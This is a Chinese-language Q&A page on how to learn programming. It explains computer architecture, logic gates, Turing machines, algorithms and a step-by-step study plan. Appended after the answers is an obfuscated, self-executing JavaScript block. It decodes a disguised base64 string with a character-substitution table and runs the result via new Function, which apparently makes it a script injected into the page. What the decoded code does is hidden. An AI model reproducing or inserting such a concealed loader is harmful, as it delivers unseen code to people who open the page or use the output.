学习编程的基础知识,如何做

2025-03-15 04:38:33
推荐回答(2个)
回答1:

编程的基础知识包括:
小学、初中、高中基础课程,大学计算机科学专业所有基础课、专业基础课和专业课(杂课不用学)。
如果一般搂一下基础,找些快速入门的书比划比划,也能编。但是要想作为职业,绕不开上面那些知识,每门课涉及到的知识在实际工作中只要遇到,都是迈不过去的坎。

回答2:

计算机的工作原理:
计算机是用来处理信息的机器,早期的只是用来做数学运算。要让机器做运算,唯一的办法就是让机器只做简单的几种动作,这几种简单动作的组合可以模拟最基本的逻辑运算和加法运算,复杂运算都转化为多次加法运算,然后机器的系列动作就可以做复杂的运算。事实上计算机的设计就是按这个思路,晶体管设计成2个状态,通和闭,用晶体管搭建2个状态的与门或门和非门,再用这3个逻辑门搭建加法器,所有运算都转化为二进制的加法运算和3个逻辑门运算。用编码描述指令,稍微复杂运算的编码是由多条指令构成,这个就是程序。
程序的执行过程是这样的,每次只读取一个指令,然后结合机器内部的状态做一次运算或传送,然后再执行下下一步指令。直到终止,这既是模仿人在纸上手算的过程,也是最容易让机器模拟运算的方案,这个方案就是图灵机。
信息用二进制编码,用多位的二进制数列与数值,字符和指令一一对应,用晶体管搭建内部存储器,用磁性介质或光盘做外部存储器。
现代计算机是按冯.诺依曼结构,由存储器,控制器, 运算器,输入输出设备构成,每条指令前半部分是操作码,后半部分是操作数,都是地址指令,指向同一个存储器中的不同位置。存储器是用晶体管搭建的,存取速度很快,和控制器运算器同步工作。每次工作时程序要先从外部介质传送到存储器中,然后按顺序执行存储器中的指令序列,每条指令长度是固定的32位或64位二进制数字。执行完一条指令后再执行下一条。
计算机本质上只能做哪些事情?
§ 算术运算:加减乘除
§ 逻辑运算:或,与,非
§ 关系运算:大于,小于,等于,不等于
§ 数据传输:输入,输出,赋值,移位
如果不能把任务转化为这些指令,计算机就无法胜任。
进一步扩展,从更高的层级上看,计算机可以做这些事情:
§ 信息表达:计算机是用多位二进制数和信息一一对应的,凡是可用编码对应的信息都可以用计算机表达。如:数值,字母,文字,符号,声音,图像,视频。
§ 信息处理:如信息拷贝,信息传送,数值的运算,信息的查找,信息的排序,信息的替换和修改,典型的应用有:发电邮,打游戏,数学运算,仿真,管理软件,office 套件,百度搜索,淘宝购物等。

计算机算法
算法在广义上可以是指解决问题的步骤,如菜谱,说明书等,但这狭义上只指利用计算机解决问题的方法,我们可以叫计算机算法,也可以直接叫算法。
首先我们要清楚计算机在本质上只能做算术运算,逻辑运算,关系运算和数据传输,要解决的问题只能转化为这些操作来实现。另外为让计算机做这些操作,在高级计算机语言中,我们还设计了必要的控制指令,如:输入,输出,赋值,移位,循环,停止,判断选择。计算机算法就是把问题转化为计算机能做的运算和指令系列。
例如求解方程:计算机无法直接描述方程式,我们只能用系数值的序列来等效描述,一次方程的求解方法是让x的系数变成1,高次方程的求解方法是利用曲线的连续性和区间内的单调性,按指定方向多次取x值,让y值逼近0,足够接近时的x取值就是解。
计算机无法像人一样用因式分解的方式求解高次方程。在高级的数学软件中,如mathematica,方程可以直接像平常一样描述(如:x^2 + y^3 = 10),但软件的后台还是要把它们转化为系数数组来表示。
计算机语言中,有运算符可以直接进行加减乘除运算,但不能直接做三角函数,开方,对数,求导等其他数学运算,这些运算只能通过特定算法转化为加减乘除,得出近似结果。在专用数学软件中,这些运算都有设计好的函数,直接可以调用,使用方便。
数的给出可以是有理数,但不能是无理数,不能把一个无理数赋值给变量。
计算机也不能直接做推理或做数学证明,也不会简化关系式,我们只能另外设计算法,把这些问题转化为加减乘除和逻辑运算,而且只有部分问题可以这样转化。
上面方程例子中也讲到,计算机不能直接描述变量间的关系,包括方程和不等式,只能变成其他的等效描述,求解更是如此。
计算机也不能直接描述几何图形和图形关系,只能通过数组对应关系等效描述,而且取值不能无限多。
计算机更不能直接翻译和判断对错,只能通过事先的对应关系设定,或者通过大数据统计,计算出对应关系的概率值。
计算机不能直接描述声音,只能通过有限的取样,把每个样的声音的大小用二进制编码,播放的时候,二进制编码转化成电压大小信号,输送给音响,两个相邻样声音过渡用电容平滑下来。
计算机也不能直接描述图像,只能通过有限取样做像素,每个像素用二进制编码描述亮度和颜色,显示的时候,二进制编码转化为电压大小信号,控制发光元件,两个相邻样像素不作过渡。
要彻底掌握计算机能做哪些事情,不能做哪些事情,以及如何转化,需要学习离散数学,但针对常见的问题,只要不是特别复杂,凭直觉也能想出算法。
总体来说,现实问题只有部分可以转化为数学问题,数学问题只有部分可以转化为离散数学问题,离散数学问题只有部分可以转化为计算机算法。
即使这样,计算机依然可以帮助我们解决大部分信息处理方面的问题,彻底改变人类社会,我们每个人都应该掌握必要的算法知识,这样才能立足于信息社会。
常用的计算机算法:
最基本的算法是循环,通过循环充分利用计算机高速的特点,同时减少人工输入和代码编写。
循环又分为:
§ 循环体执行同样的运算
§ 循环体执行渐变的运算,又分为递推循环和递归循环。其中递归循环是计算机独有的算法,很多问题只能用递归算法才能解决,如8皇后问题,上楼梯问题。
以循环算法为基础,又扩展成4种常用算法,解决更复杂的问题。
§ 贪心算法 greedy algorithm
§ 分治算法 divide and conquer
§ 动态规划 dynamic programming
§ 穷举搜索 exhustive searching
大部分复杂问题都能用这4种算法解决。
什么是好的算法
§ 人做的事情少,输入少,代码短
§ 电脑做的事情少:运算少,指令少
§ 占的资源少,少占内存,少占寄存器
§ 通用性强,最好可以封装成函数,随时调用
§ 指令模块化,整体按顺序结构,不上下转移,不交缠在一起,便于阅读和理解
计算机编程:
指利用计算机语言描述算法,为方便使用计算机,我们发明了各种高级计算机语言,用容易理解的术语来描述操作和指令。如:各种数据类型,赋值语句,循环语句,选择判断语句,运算符,输入输出命令符。编程就是用计算机语言,通常是指高级语言描述整个算法。
编程的过程是这样的:
第一步先明确要解决的问题
第二步是思考和选择合适的数据结构描述问题,是数组呢,线性表呢,还是树或图来描述
第三步是在数据结构基础上,思考解决问题的步骤,即算法
第四步是用流程图或伪码描述整个算法
最后一步是选择合适语言,按流程图或伪码写代码。
仍然用解方程做例子。如线性方程组:
第一步选择数据结构描述方程组,可以选择数组或矩阵描述系数值,把每个方程写成统一的格式:a*x + b*y + c*z = d,每个方程就可以用数组 [a,b,c,d]来描述,缺项的系数值是0。
第二步是在数组的基础上思考解方程的算法,方程的解用数组怎样表示呢,很容易想到把a变成1,b和 c变成0就是x的解,解线性方程组的过程就等效于把数组间加减乘除运算,数组间的加减乘除必须联系方程本身,这样才能判断所做的运算是不是等效的,如把一个数组同乘一个数,相当于方程的两边同乘一个数,是等效的,两个数组相减,相当于两个方程两边相减,是等效的,选择合适运算最终目的是变成[1,0,0,d1] [0,1,0,d2] [0,0,1,d3],这样就求解出x y z值了。
有了算法后边的步骤就很容易了,画流程,写代码。
如何学习编程
1. 大致清楚计算机工作原理,电路如何实现非门,与门,或门,如何搭建加法器
2. 大致了解图灵机思想,机器必须一步一步运算,运算都是几种简单动作的重复,大致了解cpu的指令集有哪些指令,清楚计算机能做哪些事情,不能做哪些事情,清楚所有的操作最终都要转化为算术运算,逻辑运算,关系运算和数据转移,若不能转化为这些操作,就不能使用计算机解决。
3. 熟悉所选语言的基本语法,关键字,运算符,表达式,控制指令,数据类型,常用语句,函数等。
4. 敲代码实现基本的应用,如打印字符串,做简单的数学运算,简单排序,插入元素等
5. 熟练程序的基本结构:顺序结构,循环结构,选择结构。尤其是循环结构中的递推和递归结构,一定要熟练掌握。
6. 熟悉各种数据结构如何实现,基本的数据结构有数组,栈,队列,链表,树和图,必须掌握它们的实现方法和操作方法。
7. 针对常见的问题,掌握如何用算法实现,并写出完整代码
8. 掌握最基本的算法:贪心算法,动态规划,分治算法,穷举搜索。
9. 掌握什么是好的算法:时间上,资源上和人力上效率高,才是好算法。
10. 多敲代码,随时把学到的和想到的用代码验证,不但让自己真正掌握,还会不断激发自己的学习兴趣。
11. 常用的数据结构和算法,一定要亲自写代码实现,并规范化,通用化,保存在电脑中随时调用,当你电脑中积累到上万行这样的通用代码后,并熟悉语言中已有的函数库,你就会对编程有足够的自信,在实际应用上也会得心应手,成为编程高手。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();